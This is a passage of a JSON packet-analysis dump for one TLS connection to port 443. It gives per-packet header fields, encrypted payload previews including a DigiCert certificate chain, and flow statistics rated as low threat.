\"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874563, \"tcp_ack\": 4213683946, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 65, \"timestamp\": 1782655307.862162, \"timestamp_iso\": \"2026-06-28T19:31:47.862162\", \"timestamp_human\": \"2026-06-28 19:31:47.862\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4497, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874563, \"tcp_ack\": 4213683946, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104edc56bd05ec1df68fa1608294b2a5a6a63f644086cfa5ce03c564c09547469d1f009051b48d1d1cf41270516289c6abc4d3e394221582410fab871ce898c9b941007d803fed1d109af176d20d96ea8514016cbe32371590f385e9bc8ccb83a36\", \"payload_ascii\": \"a\\u0004k^h\\u0016\\b)K*ZjcD\\bl\\\\<VL\\tTti\\t\\u0005\\u001bHA'\\u0005\\u0016(jM>9B!X$\\u0010q\\u0010\\u0007\\u0003\\t\\u0017m nQ@\\u0016#qY\\u000f8^:6\"}, {\"packet_number\": 68, \"timestamp\": 1782655308.353041, \"timestamp_iso\": \"2026-06-28T19:31:48.353041\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4498, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874721, \"tcp_ack\": 4213684373, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 69, \"timestamp\": 1782655308.353768, \"timestamp_iso\": \"2026-06-28T19:31:48.353768\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4499, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874721, \"tcp_ack\": 4213684373, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 71, \"timestamp\": 1782655308.353847, \"timestamp_iso\": \"2026-06-28T19:31:48.353847\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4500, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874808, \"tcp_ack\": 4213684373, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 73, \"timestamp\": 1782655308.353933, \"timestamp_iso\": \"2026-06-28T19:31:48.353933\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4501, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874846, \"tcp_ack\": 4213684373, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 76, \"timestamp\": 1782655309.007017, \"timestamp_iso\": \"2026-06-28T19:31:49.007017\", \"timestamp_human\": \"2026-06-28 19:31:49.007\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4502, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874962, \"tcp_ack\": 4213684861, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 78, \"timestamp\": 1782655309.027467, \"timestamp_iso\": \"2026-06-28T19:31:49.027467\", \"timestamp_human\": \"2026-06-28 19:31:49.027\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4503, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874962, \"tcp_ack\": 4213685418, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 79, \"timestamp\": 1782655309.028165, \"timestamp_iso\": \"2026-06-28T19:31:49.028165\", \"timestamp_human\": \"2026-06-28 19:31:49.028\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4504, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874962, \"tcp_ack\": 4213685418, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 82, \"timestamp\": 1782655309.576533, \"timestamp_iso\": \"2026-06-28T19:31:49.576533\", \"timestamp_human\": \"2026-06-28 19:31:49.576\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4505, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486875026, \"tcp_ack\": 4213686077, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 83, \"timestamp\": 1782655309.581627, \"timestamp_iso\": \"2026-06-28T19:31:49.581627\", \"timestamp_human\": \"2026-06-28 19:31:49.581\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4506, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486875026, \"tcp_ack\": 4213686077, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 86, \"timestamp\": 1782655310.471705, \"timestamp_iso\": \"2026-06-28T19:31:50.471705\", \"timestamp_human\": \"2026-06-28 19:31:50.471\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4507, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486875096, \"tcp_ack\": 4213686565, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 88, \"timestamp\": 1782655310.476086, \"timestamp_iso\": \"2026-06-28T19:31:50.476086\", \"timestamp_human\": \"2026-06-28 19:31:50.476\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4508, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486875096, \"tcp_ack\": 4213686705, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 125, \"timestamp\": 1782655313.076246, \"timestamp_iso\": \"2026-06-28T19:31:53.076246\", \"timestamp_human\": \"2026-06-28 19:31:53.076\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4509, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486875096, \"tcp_ack\": 4213686705, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 17, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 260, 54, 54, 212, 54, 141, 92, 170, 54, 54, 118, 54, 124, 54, 54, 54], \"inter_packet_intervals\": [0.00031304359436035156, 0.0003750324249267578, 0.39792704582214355, 0.011337995529174805, 0.0033800601959228516, 0.4908788204193115, 0.0007271766662597656, 7.891654968261719e-05, 8.606910705566406e-05, 0.6530838012695312, 0.020450115203857422, 0.000698089599609375, 0.548367977142334, 0.005093812942504883, 0.890078067779541, 0.004380941390991211, 2.6001601219177246], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 5.627417087554932, \"avg_packet_size\": 95.72222222222223, \"packets_per_second\": 3.198625536359676, \"bytes_per_second\": 306.1795443970957, \"min_packet_size\": 54, \"max_packet_size\": 260, \"median_packet_size\": 54, \"avg_interval\": 0.33102453456205483, \"min_interval\": 7.891654968261719e-05, \"max_interval\": 2.6001601219177246}, {\"source\": \"52.97.183.194\", \"target\": \"10.152.152.11\", \"packet_count\": 16, \"total_bytes\": 7999, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [63997], \"first_packet\": 1782655307.448844, \"last_packet\": 1782655310.475832, \"packets\": [{\"packet_number\": 57, \"timestamp\": 1782655307.448844, \"timestamp_iso\": \"2026-06-28T19:31:47.448844\", \"timestamp_human\": \"2026-06-28 19:31:47.448\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213679581, \"tcp_ack\": 2486874357, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 60, \"timestamp\": 1782655307.449524, \"timestamp_iso\": \"2026-06-28T19:31:47.449524\", \"timestamp_human\": \"2026-06-28 19:31:47.449\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50419, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213679582, \"tcp_ack\": 2486874563, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 61, \"timestamp\": 1782655307.847303, \"timestamp_iso\": \"2026-06-28T19:31:47.847303\", \"timestamp_human\": \"2026-06-28 19:31:47.847\", \"size\": 2006, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50420, \"ip_len\": 1992, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213679582, \"tcp_ack\": 2486874563, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 63, \"timestamp\": 1782655307.858611, \"timestamp_iso\": \"2026-06-28T19:31:47.858611\", \"timestamp_human\": \"2026-06-28 19:31:47.858\", \"size\": 2466, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50422, \"ip_len\": 2452, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213681534, \"tcp_ack\": 2486874563, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2412, \"payload_preview\": \"7a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632343037313834325a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303632343037303330305aa011180f32303236303730313036303330305a300d06092a864886f70d01010b050003820101004909a624532538bba467f342bf77a4164fc61c9f61aef5892c642ff10b10b5e375497229d1167836b9328209ae4686461323d0fb2fbb8ab79eda23d2f9e312f198514a1e57f17235c73b963feed262025992a244b171f6c6382d073f6d74a246e647de428627e0dfa01f22529fa7c78a9d0872c395778fd9902180ad38b91a06d95956afd07db5f9bbb440f4fe959042abf96010764dadd44ea4edd385add5dcbd940a3582c547b536fd3fe65b8295e5857065d9f57a81fcdeabe1fa705937c63ec313f5bf17184e83e5697c054d2c8e403a45b5a3bb018abaa4437fad6a9050e59d94d54d99fac604cd19080887c9b22ebf5eb4e9b78df99e9ecacc11f89ab30c0001690300186104c4cdb405f394bbf71bf0d7c21d92d33c1cbc6332230ee68425f300270431e88b1abb84ad16cb9744d896d67ef69e1d2da8a48fb3e075c55b5c3c9a46c16b27de46a238db18f9f71b58c73e7511a10e75b32df0af5f1c02c8149dea228fac8a40080401005d25a6635308e1a4116445f8d3919f3e60bac86d6d5f2452c25b6ee0b861603d7a39ddd1acbb27932aa9082ecb0396c5a4038bbf62c2ecd2f163defa837ed63961c55960063106be83d1a8771e05389f4ba2a320a3274b240d21c97ecfd062f5483a33a5ad9a8422c7e5a35417141d1cbab0abe7a53d7d97b6e55f5f3f3479ce94733f85f6a5fd2d8aeff158ee073228f3530f8d8ab121d54d480092354906fdacc859668ecc0ff5805549117f72ef625205827b296a52589c974d1f4e5f8c7c704053b7284da4d440afc40d431521960929a58163c97704123eb0a4cbf6ca04ee2300665a45fdc8d6f4b367af4c1bd5ccc81fe77c324830994e8893d2d4dd4e0e000000\", \"payload_ascii\": \"z6\\u000b\\tKvxz3M=\\u0011\\b\\u0002 yF)[RoDH\\n\\u00057*`\\u001a\\r0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u0018-@M|8%s\\u0017PiYl&\\u0013tI3_n$5ol&XvV6t\\u001ezT;r\\u001a\\u0017\\u001egS5\\u0016\\u000f\\u0003.\\\\}\\u001cR\\tR_W\\u00100\\tF48=yau+,c\\u0015OJ\\u0004F\\u0013\\n#8B>*I\\u007f+/B\\u0010x(\\u0012s%<\\u00039BR'KmA'_\\u001b;\\\\06(\\u001a\\u000b{typ C+cq\\nu^\\u0017\\u001b\\u0000\\u00040\\u00040\\u0003\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\f\\u0006+V\\u0002zP,#f0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r210330000000Z\\u0017\\r310329235959Z0Y1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1301\\u0006\\u0003U\\u0004\\u0003\\u0013*DigiCert Global G2 TLS RSA SHA256 2020 CA10\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000\\u0010bOcoRVm'{z\\u0012V`A\\u0015p\\u0012\\u0000'\\nW8[}Qq\\u000ejA[5\\u001b{$0V}\\u0014\\u0014M\\u0010\\u0016\\\"1\\\"\\u0011ai&x\\u001f}fuDs]\\nYC:\\u000fHk7cFE}#Q\\u0007\\u001eQ_IFT\\u007f,\\u0013\\u0015<\\u00039i\\f2\\u0016WLGB|}MTB\\u0004wH\\u0011*Cp?vkLI$^\\rFlbRBu^^a\\u001f\\u001f\\u007f\\t=\\u007fGi\\u0002\\u0003\\u0001\\u0000\\u0001\\u00010\\u0001~0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u00170\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u001d\\u0006\\u0003U\\u001d%\\u0004\\u00160\\u0014\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u0001\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00020v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=\\u0006\\u0003U\\u001d \\u00046040\\u000b\\u0006\\t`H\\u0001l\\u0002\\u00010\\u0007\\u0006\\u0005g\\f\\u0001\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00030\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000p(i|t&{Se\\u0006ZCMLV_\\u0005 .YJ*.J;o)0?${\\u0007,kv3\\u0000URY\\u000f\\u0010r\\t\\u0004_.2uXW1~7\\u0001fm)\\u001af\\tmn/\\u0001\\u0014\\\\Vd\\u0001}8S]Fm\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260624071842Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\u0005ef\\u007fA\\u0004i\\f[|s\\u0000\\u0018\\u000f20260624070300Z\\u0011\\u0018\\u000f20260701060300Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000I\\t$S%8gBw\\u0016O\\u001ca,d/\\u000b\\u0010uIr)\\u0016x62\\tFF\\u0013#/#\\u0012QJ\\u001eWr5;?b\\u0002YDq8-\\u0007?mtFGB'\\u001f\\\"R\\brw!8\\u001a\\u0006YV}@B`\\u0010vMN\\n5G6?[pezpY7>\\u0013\\u0017\\u0018Ni|\\u0005M,@:E\\u0001C\\u007fjPM\\u0004\\u0019\\b\\b.^\\u0011\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004\\u0005\\u001b\\u001d<\\u001cc2#\\u000e%\\u0000'\\u00041\\u001a\\u0016D~\\u001d-u[\\\\<Fk'F8\\u0018\\u001bX>u\\u0011\\u000eu-_\\u001c\\u0002\\u0014\\\"@\\b\\u0004\\u0001\\u0000]%cS\\b\\u0011dE>`mm_$R[na`=z9'*\\b.\\u0003\\u0003bc~9aY`\\u00061\\u0006w\\u001e\\u00058K 'K$\\r!~bH:3\\\"T\\u0017\\u0014\\u001d\\u001c=}__?4ys?-X\\u00072(S\\u000f!MH\\u00005I\\u0006Yf\\u000fUI\\u0011\\u007frbR\\u0005{)jRXM\\u001fN_|p@S(M@\\rC\\u0015!\\t)cw\\u0004\\u0012>\\u0004#\\u0000fZEgL\\u001b\\u001f|2H0NN\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 66, \"timestamp\": 1782655307.862188, \"timestamp_iso\": \"2026-06-28T19:31:47.862188\", \"timestamp_human\": \"2026-06-28 19:31:47.862\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50424, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213683946, \"tcp_ack\": 2486874721, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, 